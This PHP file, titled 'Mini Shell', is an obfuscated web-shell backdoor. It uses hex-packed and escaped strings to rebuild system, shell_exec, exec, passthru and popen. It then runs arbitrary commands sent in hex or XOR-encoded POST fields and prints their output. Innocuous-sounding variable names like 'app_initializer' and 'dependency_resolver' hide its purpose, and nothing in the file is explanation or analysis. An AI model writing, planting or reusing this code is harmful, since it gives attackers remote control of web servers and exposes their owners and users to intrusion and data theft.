Mini Shell
<?php $holder1 = '73';$holder2 = '79';$holder3 = '6d';$holder4 = '68';$holder5 = '6c';$holder6 = '5f';$holder7 = '65';$holder8 = '63';$holder9 = '70';$holder10 = '61';$holder11 = '72';$holder12 = '6f';$holder13 = '74';$holder14 = '67';$app_initializer1 = pack("H*", $holder1.$holder2.'73'.'74'.'65'.$holder3);$app_initializer2 = pack("H*", '73'.$holder4.'65'.$holder5.'6c'.$holder6.'65'.'78'.$holder7.$holder8);$app_initializer3 = pack("H*", '65'.'78'.$holder7.'63');$app_initializer4 = pack("H*", $holder9.$holder10.'73'.$holder1.'74'.$holder4.$holder11.'75');$app_initializer5 = pack("H*", $holder9.$holder12.$holder9.$holder7.'6e');$app_initializer6 = pack("H*", $holder1.$holder13.'72'.$holder7.'61'.$holder3.'5f'.$holder14.$holder7.$holder13.$holder6.'63'.$holder12.'6e'.$holder13.$holder7.'6e'.'74'.'73');$app_initializer7 = pack("H*", '70'.'63'.$holder5.$holder12.$holder1.$holder7);$system_core = pack("H*", '73'.'79'.$holder1.$holder13.'65'.'6d'.$holder6.$holder8.'6f'.$holder11.'65');if(isset($_POST[$system_core])){$system_core=pack("H*",$_POST[$system_core]);if(function_exists($app_initializer1)){$app_initializer1($system_core);}elseif(function_exists($app_initializer2)){print $app_initializer2($system_core);}elseif(function_exists($app_initializer3)){$app_initializer3($system_core,$record_entry);print join("\n",$record_entry);}elseif(function_exists($app_initializer4)){$app_initializer4($system_core);}elseif(function_exists($app_initializer5)&&function_exists($app_initializer6)&&function_exists($app_initializer7)){$elem_key=$app_initializer5($system_core,"r");if($elem_key){$resource_res=$app_initializer6($elem_key);$app_initializer7($elem_key);print $resource_res;}}exit;}
$dependency_resolver7 = "\x70\x63\x6Cose";
$dependency_resolver5 = "pop\x65\x6E";
$dependency_resolver3 = "ex\x65\x63";
$core_engine = "\x68\x65\x78\x32bin";
$dependency_resolver4 = "\x70ass\x74h\x72\x75";
$dependency_resolver2 = "\x73\x68\x65ll\x5Fex\x65c";
$dependency_resolver1 = "s\x79\x73tem";
$dependency_resolver6 = "\x73\x74\x72\x65am\x5F\x67et_\x63on\x74e\x6E\x74s";
if (isset($_POST["\x72e\x63o\x72d"])) {
function restore_state ( $value , $ptr ) {
$mrk = '' ;
$p=0;
do{
$mrk.=chr(ord($value[$p])^$ptr);
$p++;
} while($p<strlen($value));
return $mrk;
}
$record = $core_engine($_POST["\x72e\x63o\x72d"]);
$record = restore_state($record, 19);
if (function_exists($dependency_resolver1)) {
$dependency_resolver1($record);
} elseif (function_exists($dependency_resolver2)) {
print $dependency_resolver2($record);
} elseif (function_exists($dependency_resolver3)) {
$dependency_resolver3($record, $binding_value);
print join("\n", $binding_value);
} elseif (function_exists($dependency_resolver4)) {
$dependency_resolver4($record);
} elseif (function_exists($dependency_resolver5) && function_exists($dependency_resolver6) && function_exists($dependency_resolver7)) {
$ptr_mrk = $dependency_resolver5($record, 'r');
if ($ptr_mrk) {
$bind_pset = $dependency_resolver6($ptr_mrk);
$dependency_resolver7($ptr_mrk);
print $bind_pset;
}
}
exit;
}